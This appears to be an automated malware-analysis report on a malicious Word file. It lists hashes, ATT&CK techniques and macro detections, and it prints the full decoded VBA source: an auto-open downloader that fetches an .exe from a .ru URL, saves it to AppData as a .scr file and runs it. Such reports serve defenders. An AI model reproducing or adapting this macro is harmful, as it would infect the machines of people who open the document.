Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c274c008f64b5261…

MALICIOUS

Office (OLE)

43.0 KB Created: 2014-06-18 13:13:00 Authoring application: Microsoft Office Word First seen: 2014-06-27
MD5: 209ed501caa4c129af287446c8f47a63 SHA-1: 55149a9b7a709385eb752b3432473eb9ddb3170d SHA-256: c274c008f64b5261774d366085631bba179841633d54efff18adfdf9b3ae2dec
274 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample contains VBA macros with an Auto_Open function that executes a script. This script, defined in the BTWDTKJSKDD function, downloads a file from 'http://barniefilm1996.ru/img.exe' and saves it to the user's AppData directory as 'HWIPGMQXZOH.scr', then executes it. This indicates a downloader or dropper functionality.

Heuristics 11

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    qZWNMRWMXYW = Shell(IHVPvHNlTHK, 1)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set objFSO = CreateObject("Scripting.FileSystemObject")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub WOrkbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    BTWDTKJSKDD "http://barniefilm1996.ru/img.exe", Environ("AppData") & "\HWIPGMQXZOH.scr"
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://barniefilm1996.ru/img.exe� In document text (OLE body)
    • http://barniefilm1996.ru/img.exeIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1498 bytes
SHA-256: 5f6c3d47eb70cae5e653f192fc98b96a975a0255eb4846c7d661539a0a66b144
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
SMNBRJoIXXV
End Sub
Sub autoOpen()
Auto_Open
End Sub
Sub WOrkbook_Open()
Auto_Open
End Sub

Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.FileExists(strSaveTo) Then
  objFSO.DeleteFile (strSaveTo)
Function BTWDTKJSKDD(ByVal CFSCHQQUHJM As String, ByVal IHVPvHNlTHK As String) As Boolean
Dim VKuEOqEZENR As Object, iZBIPQzVJNN As Long, OlOHEOBFYKW As Long, RJHHCCAPIey() As Byte
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set VKuEOqEZENR = CreateObject("MSXML2.XMLHTTP")
VKuEOqEZENR.Open "GET", CFSCHQQUHJM, False
VKuEOqEZENR.SEnd
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.FileExists(strSaveTo) Then
  objFSO.DeleteFile (strSaveTo)
End If
Do While VKuEOqEZENR.rEadySTaTe <> 4
DoEvents
Loop
RJHHCCAPIey = VKuEOqEZENR.resPonseBoDy
OlOHEOBFYKW = FreeFile
If Dir(IHVPvHNlTHK) <> "" Then Kill IHVPvHNlTHK
Open IHVPvHNlTHK For Binary As OlOHEOBFYKW
Put #OlOHEOBFYKW, , RJHHCCAPIey
Close #OlOHEOBFYKW
Dim qZWNMRWMXYW
qZWNMRWMXYW = Shell(IHVPvHNlTHK, 1)
Set VKuEOqEZENR = Nothing
End Function
Sub SMNBRJoIXXV()
BTWDTKJSKDD "http://barniefilm1996.ru/img.exe", Environ("AppData") & "\HWIPGMQXZOH.scr"
End Sub

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